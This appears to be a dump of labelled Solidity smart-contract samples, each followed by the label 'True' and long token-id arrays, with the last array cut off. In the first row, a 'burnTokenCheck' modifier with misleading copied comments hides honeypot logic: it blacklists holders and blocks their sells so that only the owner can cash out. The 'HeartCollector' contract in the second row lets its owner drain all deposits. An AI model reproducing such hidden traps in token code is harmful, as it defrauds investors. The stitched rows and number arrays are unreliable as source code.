*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1020,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1008,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
24856,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1005,
1037,
1005,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
1005,
1038,
1005,
2003,
2036,
7718,
1012,
1013,
1013,
2156,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
8311,
1013,
4139,
1013,
4720,
2475,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
16109,
2407,
1997,
2048,
27121,
24028,
1012,
7065,
8743,
2015,
2006,
1008,
2407,
2011,
5717,
1012,
1996,
2765,
2003,
8352,
2875,
5717,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1013,
1036,
6872,
1012,
3602,
1024,
2023,
3853,
3594,
1037,
1008,
1036,
7065,
8743,
1036,
6728,
16044,
1006,
2029,
3727,
3588,
3806,
22154,
1007,
2096,
5024,
3012,
1008,
3594,
2019,
19528,
6728,
16044,
2000,
7065,
8743,
1006,
15077,
2035,
3588,
3806,
1007,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
1996,
4487,
11365,
2953,
3685,
2022,
5717,
1012,
1008,
1013,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4487,
2615,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
2407,
2011,
5717,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/HeartCollector.sol
pragma solidity 0.8.10;
contract HeartCollector{
address private _owner;
address private _operator;
IERC20 private _contract;
uint256 private _epochStart;
uint256 private _epochDuration;
uint256 private _maxAPE;
mapping(address => uint) private _balances;
event Deposit(address indexed _from, uint256 indexed _amount);
event Withdraw(address indexed _to, uint256 indexed _amount);
constructor(){
_owner=msg.sender;
_operator=msg.sender;
_contract=IERC20(0x8FAc8031e079F409135766C7d5De29cf22EF897C);
_epochStart=1646226000; //1 march 2022 13:00 UTC
_epochDuration=604800; //1 week
_maxAPE=3; //in percent
}
receive() payable external{
}
function setEpochDuration(uint256 duration)public{
require(msg.sender == _owner, "Only owner can set the epoch start");
_epochDuration=duration;
}
function setEpochStart()public{
require(msg.sender == _owner, "Only owner can set the epoch start");
_epochStart=block.timestamp;
}
function currentEpoch() public view returns (uint256 epoch){
epoch=(block.timestamp-_epochStart)/_epochDuration;
}
function setAPE(uint256 newAPE)public{
require(msg.sender == _owner, "Only owner can set a new APE");
_maxAPE=newAPE;
}
function withdrawETH(address payable to, uint256 amount)public{
require(msg.sender == _owner, "Only owner can send ETH");
to.transfer(amount);
}
function setOwner(address newOwner) public{
require(msg.sender == _owner, "Only owner can set a new owner");
_owner=newOwner;
}
function setOperator(address newOperator) public{
require(msg.sender == _owner, "Only owner can set a new operator");
_operator=newOperator;
}
function setContract(IERC20 contractAddress) public{
require(msg.sender == _owner, "Only owner can set a new contract");
_contract=contractAddress;
}
function balanceOf(address owner) public view returns (uint256 amount) {
amount=_balances[owner];
}
function collectorBalance() public view returns (uint256 balance){
balance = _contract.balanceOf(address(this));
}
function deposit(uint256 amount) public{
_contract.transferFrom(msg.sender,address(this),amount);
emit Deposit(msg.sender,amount);
_balances[msg.sender]+=amount;
}
function withdraw(address to, uint256 amount) public{
require(msg.sender == _owner || msg.sender ==_operator, "Only owner or operator can withdraw funds");
uint256 epochsElapsed=(block.timestamp-_epochStart)/_epochDuration;
uint256 maxWithdrawable=_balances[to]+(_balances[to]*epochsElapsed*_maxAPE)/100;
require(amount<=maxWithdrawable,"The amount does not match the max reward calculations");
uint256 balance = _contract.balanceOf(address(this));
require(amount <= balance, "Insufficient funds");
if(amount>_balances[to]){
_balances[to]=0;
}else{
_balances[to]-=amount;
}
_contract.transfer(to, amount);
emit Deposit(to,amount);
}
function forceWithdraw()public{
require(msg.sender == _owner, "Only owner can force withdraw");
uint256 balance=_contract.balanceOf(address(this));
_contract.transfer(_owner,balance);
}
} | True | [
101,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
4769,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1006,
2197,
7172,
1058,
2549,
1012,
1019,
1012,
1014,
1007,
1006,
21183,
12146,
1013,
4769,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1015,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3074,
1997,
4972,
3141,
2000,
1996,
4769,
2828,
1008,
1013,
3075,
4769,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
1036,
4070,
1036,
2003,
1037,
3206,
1012,
1008,
1008,
1031,
2590,
1033,
1008,
1027,
1027,
1027,
1027,
1008,
2009,
2003,
25135,
2000,
7868,
2008,
2019,
4769,
2005,
2029,
2023,
3853,
5651,
1008,
6270,
2003,
2019,
27223,
1011,
3079,
4070,
1006,
1041,
10441,
1007,
1998,
2025,
1037,
3206,
1012,
1008,
1008,
2426,
2500,
1010,
1036,
2003,
8663,
6494,
6593,
1036,
2097,
2709,
6270,
2005,
1996,
2206,
1008,
4127,
1997,
11596,
1024,
1008,
1008,
1011,
2019,
27223,
1011,
3079,
4070,
1008,
1011,
1037,
3206,
1999,
2810,
1008,
1011,
2019,
4769,
2073,
1037,
3206,
2097,
2022,
2580,
1008,
1011,
2019,
4769,
2073,
1037,
3206,
2973,
1010,
2021,
2001,
3908,
1008,
1027,
1027,
1027,
1027,
1008,
1008,
1031,
2590,
1033,
1008,
1027,
1027,
1027,
1027,
1008,
2017,
5807,
1005,
1056,
11160,
2006,
1036,
2003,
8663,
6494,
6593,
1036,
2000,
4047,
2114,
5956,
5414,
4491,
999,
1008,
1008,
10723,
4455,
2013,
8311,
2003,
3811,
22585,
1012,
2009,
7807,
4012,
6873,
3736,
8553,
1010,
7807,
2490,
2005,
6047,
15882,
2015,
1008,
2066,
1043,
27109,
3647,
1010,
1998,
2515,
2025,
3073,
3036,
2144,
2009,
2064,
2022,
25022,
11890,
2819,
15338,
2098,
2011,
4214,
2013,
1037,
3206,
1008,
9570,
2953,
1012,
1008,
1027,
1027,
1027,
1027,
1008,
1013,
3853,
2003,
8663,
6494,
6593,
1006,
4769,
4070,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
1013,
1013,
2023,
4118,
16803,
2006,
4654,
13535,
19847,
4697,
1013,
4769,
1012,
3642,
1012,
3091,
1010,
2029,
5651,
1014,
1013,
1013,
2005,
8311,
1999,
2810,
1010,
2144,
1996,
3642,
2003,
2069,
8250,
2012,
1996,
2203,
1013,
1013,
1997,
1996,
9570,
2953,
7781,
1012,
2709,
4070,
1012,
3642,
1012,
3091,
1028,
1014,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
6110,
2005,
5024,
3012,
1005,
1055,
1036,
4651,
1036,
1024,
10255,
1036,
3815,
1036,
11417,
2000,
1008,
1036,
7799,
1036,
1010,
2830,
2075,
2035,
2800,
3806,
1998,
7065,
8743,
2075,
2006,
10697,
1012,
1008,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
6988,
1031,
1041,
11514,
15136,
2620,
2549,
1033,
7457,
1996,
3806,
3465,
1008,
1997,
3056,
6728,
23237,
1010,
4298,
2437,
8311,
2175,
2058,
1996,
11816,
2692,
3806,
5787,
1008,
9770,
2011,
1036,
4651,
1036,
1010,
2437,
2068,
4039,
2000,
4374,
5029,
3081,
1008,
1036,
4651,
1036,
1012,
1063,
4604,
10175,
5657,
1065,
20362,
2023,
22718,
1012,
1008,
1008,
16770,
1024,
1013,
1013,
29454,
29206,
3401,
1012,
9530,
5054,
6508,
2015,
1012,
5658,
1013,
8466,
1013,
10476,
1013,
5641,
1013,
2644,
1011,
2478,
1011,
5024,
3012,
2015,
1011,
4651,
1011,
2085,
1013,
1031,
4553,
2062,
1033,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
